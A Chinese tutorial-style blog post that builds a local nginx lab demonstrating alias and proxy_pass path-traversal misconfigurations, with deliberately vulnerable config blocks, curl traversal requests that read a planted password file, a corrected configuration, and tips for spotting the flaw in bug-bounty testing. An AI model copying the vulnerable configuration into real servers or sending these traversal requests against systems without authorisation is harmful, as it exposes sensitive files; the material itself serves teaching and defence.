正文
首先需要搭建一个最基本的nginx环境,可以参考: https://t.zsxq.com/tM9mj
然后对nginx的配置进行修改,追加了以下:
# 漏洞测试1:alias指令(静态文件遍历)
location /static {
alias /var/www/html/static_files/; # 注意:alias目录与location名称不同
}
# 漏洞测试2:proxy_pass指令(反向代理穿透)
location /api {
proxy_pass http://localhost:8080/v1/; # 转发到本地8080端口的/v1/路径,如果你在云服务器上,直接用ip替换localhost即可
}
保存后执行:
sudo nginx -t # 检查配置语法
sudo systemctl reload nginx # 热重载配置
准备测试文件
# 创建alias指令的测试目录和文件
sudo mkdir -p /var/www/html/static_files/secret
echo"info secret 666!" | sudo tee /var/www/html/secret/db_pass.txt
echo"public info" | sudo tee /var/www/html/static_files/public.txt
# 创建proxy_pass指令的后端测试文件
mkdir -p ~/internal-api/v1
echo'{"status": "public API"}' > ~/internal-api/v1/data.json
echo'{"admin": "internal API"}' > ~/internal-api/admin.json
# 启动后端服务(端口8080)
cd ~/internal-api && python3 -m http.server 8080 &
到这里环境搭建已经成功了,下面来测试漏洞:
curl http://127.0.0.1/static/public.txt
# 恶意请求(路径穿越到上级目录)
curl http://127.0.0.1/static../secret/db_pass.txt
预期结果 :
正常请求返回 公开文件
恶意请求返回 敏感文件:数据库密码
# 正常请求(预期返回public API)
curl http://127.0.0.1/api/data.json
# 恶意请求(路径穿越到上级目录)
curl http://127.0.0.1/api../admin.json
果然是有问题的,那我们这里来观察一下
首先是nginx日志:
原样输出,这个很正常,再来看看python3起的服务监听的8080端口:
请注意划红线的两行,就是我前面刚刚发起的请求,再看看nginx配置文件:
现在我们将配置文件改动一下,变为如下:
重新启动nginx服务: systemctl restart nginx
再来看看原来的敏感文件,看能否查看:
发现果然不能访问了,写这篇文章主要是加深对后端以及nginx一些漏洞的相关理解
那如何检测这种漏洞呢?
假设Nginx配置如下(假设这里是有问题的):
location /api {
proxy_pass http://apiserver/v1/; # 注意结尾有斜杠
}
预期行为 :所有以/api开头的请求(如/api/user)应转发到后端服务器http://apiserver/v1/user。
实际行为 :由于/api末尾没有斜杠 ,而proxy_pass的路径有斜杠,拼接时可能产生路径错误。
正常请求示例 1.请求:http://server/api/user
Nginx移除/api,剩余路径/user。
拼接后转发到:http://apiserver/v1//user(双斜杠会被服务器自动合并为单斜杠)。
最终实际访问:http://apiserver/v1/user(正常)。
漏洞利用示例 攻击者构造特殊路径添加../进行路径穿越:
http://server/api../
Nginx移除/api,剩余路径../。
拼接后转发到:http://apiserver/v1/../(相当于返回上一级目录)。
最终实际访问:http://apiserver/(访问到v1的上级目录!)。
http://server/api../server-status
最终访问:http://apiserver/server-status(可能暴露服务器敏感信息)。
如果以下两个请求返回相同结果 ,则可能存在漏洞:(这里很重要,请仔细品味)
http://server/api/user→转发为http://apiserver/v1//user
http://server/apiuser→转发为http://apiserver/v1/user
因为两者最终都会被服务器规范化为http://apiserver/v1/user,但第二个请求绕过了/api前缀的限制。
我们在日常测试中,要善于发现路径中的这种"api",它往往隐藏着高赏金的漏洞。
阅读原文:https://mp.weixin.qq.com/s/cvQDpZLKk-KvF01lMioO8A
该文章在 2026/1/29 10:45:26 编辑过